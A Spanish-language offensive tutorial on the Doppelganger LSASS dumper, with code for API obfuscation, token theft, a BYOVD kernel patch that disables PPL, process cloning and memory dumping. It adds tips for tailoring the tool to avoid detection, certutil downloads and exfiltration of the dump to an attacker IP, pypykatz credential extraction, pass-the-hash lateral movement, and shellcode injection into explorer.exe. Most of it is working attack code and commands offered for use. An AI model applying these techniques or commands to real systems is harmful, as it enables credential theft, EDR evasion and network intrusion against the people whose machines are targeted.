Doppelganger — Clonación de LSASS para Evasión de EDR
Introducción
Los EDR modernos (Defender, CrowdStrike o SentinelOne entre otros) protegen LSASS en múltiples capas; hooks en userland sobre ntdll.dll, monitorización de OpenProcess hacia lsass.exe, PPL a nivel kernel y callbacks ETW. Doppelganger, desarrollado por Andrea Varischio, busca evadir dichas protecciones basandose en nunca tocar la memoria de LSASS real, sencillamente clonar el proceso y centrarse en la copia.
El clon resultante no tiene PPL, no tiene hooks de EDR, tiene un PID nuevo que ningún EDR monitoriza, y contiene las mismas credenciales que el proceso original. Vamos a ver a continuación la base de su funcionamiento, y posteriormente un caso práctico.
Paso 1 — Resolución de APIs sin IAT
Los EDR escanean la Import Address Table buscando funciones como OpenProcess, MiniDumpWriteDump o NtCreateProcessEx. Doppelganger no importa ninguna API sensible (primer mini-punto positivo).
Cómo lo evade: los nombres de API están cifrados con XOR en arrays de bytes dentro de api_strings.h, se descifran en runtime y se resuelven mediante un CustomGetProcAddress() propio que opera sobre DLLs cargadas "limpias" sin hooks del EDR:
// api_strings.h — El binario NO contiene "MiniDumpWriteDump" en texto plano
static const unsigned char MDWD_ENC[] = {
0x7D, 0x58, 0x5C, 0x5A, 0x70, 0x40, 0x5B, 0x47,
0x6F, 0x4B, 0x08, 0x16, 0x06, 0x20, 0x10, 0x0B, 0x17
};
// api.c — Resolución dinámica desde DLL limpia
static BOOL ResolveApiFromDll(HMODULE hMod, const unsigned char* enc, size_t len, void** fn) {
char* name = xor_decrypt_string(enc, len, XOR_KEY, key_len);
if (!name) return FALSE;
*fn = (void*)CustomGetProcAddress(hMod, name);
free(name);
return (*fn != NULL);
}Todas las DLLs se cargan con LoadCleanDLL(), obteniendo copias sin hooks del EDR.
Resultado (evasión): el análisis estático (YARA, firmas AV o sandbox) no encuentra strings sensibles ni imports sospechosos.
Paso 2 — Elevación a SYSTEM vía Token Theft
Doppelganger busca impersonar a SYSTEM mediante la obtención del token de winlogon.exe:
// token.c — GetSystemTokenAndDuplicate()
if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
hProcess = pOP(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
if (hProcess) {
if (pOPTK(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
if (pDUPTOK(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
TokenImpersonation, &hDupToken)) {
*hSystemToken = hDupToken;
EnableAllPrivileges(hDupToken); // SeDebugPrivilege, SeImpersonatePrivilege
}
}
}
}Después en main.c aplica la impersonación al hilo actual de ejecución:
pIMP(hSystemToken); // ImpersonateLoggedOnUser
pSTT(NULL, hSystemToken); // SetThreadTokenResultado (evasión): no hay exploit, no hay UAC bypass, no hay nuevo proceso como SYSTEM — sólo impersonación en el hilo actual.
Paso 3 — BYOVD: Carga de RTCore64.sys
RTCore64.sys es un driver firmado legítimamente por MSI (Afterburner) que expone lectura/escritura arbitraria en memoria del kernel vía IOCTLs:
// driver.c — LoadAndStartDriver()
SC_HANDLE hService = pCS(hSCM, DRIVER_NAME, DRIVER_NAME, SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
DRIVER_PATH, NULL, NULL, NULL, NULL, NULL); // "C:\\Users\\Public\\RTCore64.sys"
pSS(hService, 0, NULL); // Arrancar el servicio
// memory.c — Primitivas de R/W kernel
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
RTCORE64_MEMORY_READ memRead = { 0 };
memRead.Address = Address;
memRead.ReadSize = Size;
DWORD BytesReturned;
pDIOC(Device, RTC64_MEMORY_READ_CODE, &memRead, sizeof(memRead),
&memRead, sizeof(memRead), &BytesReturned, NULL);
return memRead.Value;
}Resultado (evasión): el driver está firmado con certificado válido — Windows lo carga sin objeciones. Los EDR que no implementan blocklists de drivers vulnerables no lo detectan.
Paso 4 — Parche de PPL en memoria del kernel
PPL impide que cualquier proceso, incluso SYSTEM, abra lsass.exe. Doppelganger lo desactiva escribiendo directamente en la estructura EPROCESS del kernel:
// memory.c — disablePPL()
// 1. Resuelve PsInitialSystemProcess desde ntoskrnl.exe
DWORD64 sys_eproc = ReadMemoryDWORD64(Device, ntBase + ps_offset);
// 2. Recorrer ActiveProcessLinks hasta encontrar lsass.exe
while (curr_entry != list_head) {
DWORD64 eproc = curr_entry - offs.ActiveProcessLinks;
char name[^16] = { 0 };
ReadMemoryBuffer(Device, eproc + offs.ImageFileName, name, 15);
if (_stricmp(name, "lsass.exe") == 0) { // (string descifrada con XOR)
SavedEproc = eproc;
// 3. Guardar valores originales
OriginalSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 2);
OriginalSecSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 1);
OriginalProt = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection);
// 4. Desactivar PPL → 0x00
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 2, 0x00);
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 1, 0x00);
WriteMemoryPrimitive(Device, 1, eproc + offs.Protection, 0x00);
break;
}
curr_entry = ReadMemoryDWORD64(Device, curr_entry);
}Los offsets de EPROCESS se seleccionan dinámicamente por build de Windows:
| Build | ActiveProcessLinks | ImageFileName | Protection |
|---|---|---|---|
| ≥ 26100 (Win11 24H2) | 0x1d8 | 0x338 | 0x5fa |
| ≥ 19041 (Win10 2004+) | 0x448 | 0x5a8 | 0x87a |
| ≥ 18362 (Win10 1903) | 0x2f0 | 0x450 | 0x6fa |
Resultado (evasión): operación invisible desde usermode. Los EDR no tienen visibilidad sobre escrituras directas en kernel vía IOCTLs de un driver firmado.
Paso 5 — Clonación del proceso con NtCreateProcessEx
Con PPL desactivado, Doppelganger clona LSASS completo usando la syscall no documentada NtCreateProcessEx:
// dump.c — CloneLsassProcess()
// Abre LSASS con acceso mínimo: solo PROCESS_CREATE_PROCESS (0x0080)
hLsass = pOP(PROCESS_CREATE_PROCESS, FALSE, pe.th32ProcessID);
// Clonar: SectionHandle=NULL provoca un fork completo
NTSTATUS status = pNTCPX(
&hClone, // Handle al clon
PROCESS_ALL_ACCESS,
&objAttr,
hLsass, // InheritFromProcess = LSASS
0, // Flags
NULL, // SectionHandle = NULL → fork
NULL, NULL, // DebugPort, TokenHandle
FALSE
);| Propiedad | LSASS original | Clon |
|---|---|---|
| PPL | ✅ Activo (restaurado después) | ❌ Sin protección |
| Hooks EDR | ✅ ntdll.dll hookeada | ❌ Espacio de memoria limpio |
| Monitorización | ✅ PID conocido por el EDR | ❌ PID nuevo, no registrado |
| Credenciales | ✅ Existentes | ✅ Copia exacta |
Resultado (evasión): el access mask 0x0080 (PROCESS_CREATE_PROCESS) no es el que los EDR monitorizan — buscan 0x0010 (PROCESS_VM_READ) o 0x1FFFFF (PROCESS_ALL_ACCESS). El clon no hereda hooks del EDR.
Paso 6 — Dump en memoria con callback personalizado
Doppelganger nunca escribe el dump a disco directamente. Usa MiniDumpWriteDump con un callback que redirige la I/O a un buffer en heap:
// dump.c — DumpCallbackRoutine()
switch (CallbackInput->CallbackType) {
case IoStartCallback:
CallbackOutput->Status = S_FALSE; // Deshabilita escritura a archivo
break;
case IoWriteAllCallback:
source = CallbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
bufferSize = CallbackInput->Io.BufferBytes;
RtlCopyMemory(destination, source, bufferSize);
dumpSize += bufferSize;
CallbackOutput->Status = S_OK;
break;
}
// dump.c — DumpAndXorLsass(): invoca contra el CLON, no contra LSASS
pMDWD(hClone, clonedPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &mci);Resultado (evasión): MiniDumpWriteDump se invoca contra el clon (PID distinto a LSASS). Sin escritura a disco, se evitan las detecciones basadas en file I/O y firmas de cabecera MDMP.
Paso 7 — Cifrado XOR y escritura a disco
// dump.c — el buffer se cifra antes de tocar disco
xor_buffer(dumpBuffer, dumpSize, key, key_len);
HANDLE dumpFile = pCFA(outPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(dumpFile, dumpBuffer, dumpSize, &bytesWritten, NULL);El archivo resultante no tiene cabecera MDMP, tiene entropía uniforme y no contiene strings legibles (wdigest, kerberos, msv1_0).
Paso 8 — Restauración
// memory.c — restorePPL()
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2, OriginalSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1, OriginalSecSigLv);
WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection, OriginalProt);
// main.c — descargar driver
StopAndUnloadDriver(DRIVER_NAME);PPL se restaura antes de que cualquier scan periódico del EDR pueda detectar la modificación.
Resumen de evasiones posibles por 'capa'
| Defensa | Evasión de Doppelganger |
|---|---|
| Análisis estático (AV/YARA) | APIs cifradas con XOR, sin IAT sospechosa |
| Hooks userland (EDR) | Nunca lee memoria de LSASS — clona con NtCreateProcessEx |
| PPL (kernel) | Parche directo en kernel vía driver firmado (BYOVD) |
| Monitorización de PID | El dump se hace al clon (PID diferente) |
| File I/O scanning | Dump en memoria → cifrado XOR → sin firmas reconocibles |
| ETW callbacks | Access mask mínimo (0x0080), PPL desactivado durante la operación |
| Credential Guard | ❌ No evadido — si está activo, el dump sólo contiene stubs |
Caso práctico
Ahora sí, vamos al lío, mostrando como podemos hacer uso de esta herramienta.
Clonar y compilar
git clone https://github.com/vari-sh/RedTeamGrimoire.git
cd RedTeamGrimoire\Doppelganger
:: Desde "x64 Native Tools Command Prompt for VS 2022"
msbuild Doppelganger.sln /p:Configuration=Release /p:Platform=x64
:: Resultado: x64\Release\Doppelganger.exe (~143 KB)El .vcxproj ya incluye las dependencias: DbgHelp.lib, Psapi.lib, Advapi32.lib.
Estructura del proyecto
Doppelganger/
├── Doppelganger.sln
├── Doppelganger/
│ ├── include/
│ │ ├── api.h, api_strings.h, defs.h, driver.h, dump.h
│ │ ├── logger.h, memory.h, offsets.h, osinfo.h, token.h, utils.h
│ └── src/
│ ├── api.c, driver.c, dump.c, logger.c, main.c
│ ├── memory.c, offsets.c, osinfo.c, token.c, utils.c
└── utils/
├── APINameEncrypter.py # Regenerar strings cifradas
├── decrypt_xor_dump.py # Descifrar dump offline
├── HollowReaper.c # Loader in-memory
└── RTCore64.sys # Driver vulnerable firmado
Cambios recomendados
Hay que tener en cuenta que es una herramienta pública, por lo que es recomendable al menos realizar el siguiente conjunto de cambios.
Cambiar la clave XOR
src/utils.c — líneas 8-9:
// ORIGINAL:
const char* XOR_KEY = "0123456789abcdefghij";
size_t key_len = 20;
// CAMBIAR A:
const char* XOR_KEY = "MiClavePersonal2026!";
size_t key_len = 20;Debe coincidir con utils/decrypt_xor_dump.py línea 10:
XOR_KEY = b"MiClavePersonal2026!"Si cambias la clave, regenera los arrays de api_strings.h y token.h con:
python3 utils/APINameEncrypter.pyCambiar rutas y nombre del servicio
include/driver.h:
// ORIGINAL:
#define DRIVER_NAME "mDriver"
#define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys"
// CAMBIAR A (ejemplo):
#define DRIVER_NAME "WinPerfMon"
#define DRIVER_PATH "C:\\Windows\\Temp\\RTCore64.sys"src/main.c — líneas 52 y 58: cambiar "C:\\Users\\Public\\doppelganger.dmp" por tu ruta preferida.
Desactivar log a disco (muy recomendado)
src/main.c — línea 14:
// ORIGINAL:
logfile = fopen("C:\\Users\\Public\\log.txt", "a");
// CAMBIAR A:
logfile = fopen("NUL", "w");Añadir offsets para un build no soportado
Obtener offsets con WinDbg en el target:
kd> dt nt!_EPROCESS ActiveProcessLinks → +0xNNN kd> dt nt!_EPROCESS ImageFileName → +0xNNN kd> dt nt!_EPROCESS Protection → +0xNNN
Añadir bloque en src/offsets.c dentro de la sección x64:
else if (build >= TU_BUILD) {
offs.ActiveProcessLinks = 0xNNN;
offs.ImageFileName = 0xNNN;
offs.Protection = 0xNNN;
}Ejecución en el target
Una vez compilado, pasamos a la ejecución sobre la máquina en cuestión.
Transferir archivos
Se plantea a continuación un ejemplo de descarga mediante HTTP, aunque podrían darse casos más silenciosos.
:: Solo necesitas: Doppelganger.exe + RTCore64.sys
certutil -urlcache -split -f http://192.168.1.100/Doppelganger.exe C:\Users\Public\Doppelganger.exe
certutil -urlcache -split -f http://192.168.1.100/RTCore64.sys C:\Users\Public\RTCore64.sysEjecutar (requiere Administrador local)
C:\Users\Public> Doppelganger.exeSalida en C:\Users\Public\log.txt (recomendable desactivar logs):
[*] Windows Build 22631 detected [+] Requested privilege enabled [+] Successfully duplicated token. Process can now run as SYSTEM. [*] Running as SYSTEM. [+] Service created successfully. [+] Driver loaded and started successfully. [*] Device handle obtained [*] Ker base address: 0xfffff80274c1e000 [*] System entry address: 0xffff9a0b1c3e4080 [*] Found EPROC at 0xffff9a0b1d9234a0 [*] Original protection values: [*] SigLv value: 0x3E [*] SecSigLv value: 0x3E [*] Prot value: 0x41 [+] PPL disabled (0x00 written) [*] Found process: lsass.exe (PID: 732) [+] Successfully cloned process, handle: 0x000002A8 [*] Starting dump to memory buffer [+] Copied 66781184 bytes to memory buffer [+] XOR'd dump written to C:\Users\Public\doppelganger.dmp successfully [+] PPL restored to original value: [*] SigLv value after write: 0x3E [*] SecSigLv value after write: 0x3E [*] Prot value after write: 0x41 [+] Service stopped successfully. [+] Service deleted successfully. [*] Execution completed successfully.
Exfiltrar el dump
Nos exfiltramos el dump mediante el canal deseado, a continuación un simple ejemplo vía HTTP.
:: SMB
copy C:\Users\Public\doppelganger.dmp \\192.168.1.100\share\
:: PowerShell HTTP
$b=[IO.File]::ReadAllBytes("C:\Users\Public\doppelganger.dmp")
Invoke-WebRequest -Uri http://192.168.1.100:8080/upload -Method POST -Body $bDescifrado y extracción offline
En este punto, contando con el .dmp, el procesamiento sensible ocurre en la máquina atacante, fuera del alcance de cualquier EDR:
# Descifrar
python3 utils/decrypt_xor_dump.py doppelganger.dmp
# [+] Decryption successful. Output written to: doppelganger.dmp.dec
# Verificar MiniDump válido
xxd doppelganger.dmp.dec | head -1
# 00000000: 4d44 4d50 ... MDMP
# Extraer credenciales
pypykatz lsa minidump doppelganger.dmp.dec
# Ejemplo de salida:
# == LogonSession ==
# username admin
# domainname SILENTFORCE
# == MSV ==
# NT: aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# == Kerberos ==
# Password: P@ssw0rd!2026
# Extraer tickets Kerberos
pypykatz lsa minidump doppelganger.dmp.dec -k ./tickets/Uso de credenciales
A partir de aqui ya sería solo hacer uso de la tipología de credenciales que hayan sido obtenidas (texto plano, hashes, tickets, ...) para lograr movimiento lateral.
# Pass-the-Hash
impacket-psexec SILENTFORCE/[email protected] \
-hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# Pass-the-Ticket (con .kirbi extraído)
export KRB5CCNAME=./tickets/TGT_admin.corp.ccache
impacket-psexec SILENTFORCE/[email protected] -k -no-passHollowReaper — Ejecución in-memory
Para hacer el proceso más discreto, Doppelganger puede ejecutarse como shellcode dentro de un proceso legítimo, para lo cual podemos apoyarnos en otra herramienta del mismo repositorio, HollowReaper:
Generar shellcode con Donut + Doppelganger
donut -i Doppelganger.exe -o doppelganger.bin -a 2 -f 1Cifrar y generar array C
# encrypt_sc.py
KEY = b"0123456789abcdefghij"
with open("doppelganger.bin", "rb") as f:
raw = f.read()
enc = bytes([raw[i] ^ KEY[i % len(KEY)] for i in range(len(raw))])
print("unsigned char shellcode_enc[] = {")
for i in range(0, len(enc), 16):
print(" " + ", ".join(f"0x{b:02X}" for b in enc[i:i+16]) + ",")
print("};")Incrustar en HollowReaper.c
Reemplazar shellcode_enc[] en utils/HollowReaper.c con la salida del script anterior.
Compilar y ejecutar
:: Compilar
cl.exe /O2 /MT /Fe:HollowReaper.exe utils\HollowReaper.c
:: Ejecutar — inyecta en explorer.exe
HollowReaper.exe "C:\Windows\explorer.exe"
[+] Process created in suspended state, PID: 11284
[+] Shellcode mapped at remote address: 0x00007FF6A2B10000
[+] Thread resumed, suspend count: 1
[+] Operation completed.Todo el proceso de clonación ocurre dentro del espacio de direcciones de explorer.exe, sin binarios o similar llamativos en disco.
References
-
Cloning and Dumping LSASS to Evade Detection - To analyze the dump later, a simple Python script is provided ( decrypt_xor_dump.py ). It uses the s...
-
BYOVD Attack: Stealth LSASS Memory Extraction with Doppelganger - In this episode of The Weekly Purple Team, we walk through Doppelganger, a highly evasive tool from ...
-
Doppelganger: An Advanced LSASS Dumper with Process ... - Github Repo: https://github.com/vari-sh/RedTeamGrimoire/tree/main/Doppelganger What is LSASS? The Lo...
-
Attack of The Clones - Unhooking and Syscall Stubs · Reprogrammed - Unhooking from a suspended process allows us to avoid the pitfalls of opening a handle to NTDLL.dll ...
-
Bring Your Own Vulnerable Driver (BYOVD) | Infiltr8 - MITRE ATT&CK™ Exploitation for Privilege Escalation - Technique T1068
-
The Definitive Guide To Process Cloning on Windows - Hunt & Hackett - This article aims to provide YOU with a comprehensive guide to the technical details of process clon...
-
HackTool - Doppelanger LSASS Dumper Execution - Detects the execution of the Doppelanger hacktool which is used to dump LSASS memory via process clo...
-
Potential LSASS Clone Creation via PssCaptureSnapShot - Adversaries exploit this to clone the LSASS process, aiming to extract credentials without detection...
-
Potential LSASS Clone Creation via PssCaptureSnapShot - This may indicate an attempt to evade detection and dump LSASS memory for credential access. Rule ty...
-
OS Credential Dumping: LSASS Memory, Sub-technique T1003.001 - Adversaries may attempt to access credential material stored in the process memory of the Local Secu...
-
attack.credential-access - Detects when the Notepad++ updater (gup.exe) makes DNS queries to domains that are not part of the k...
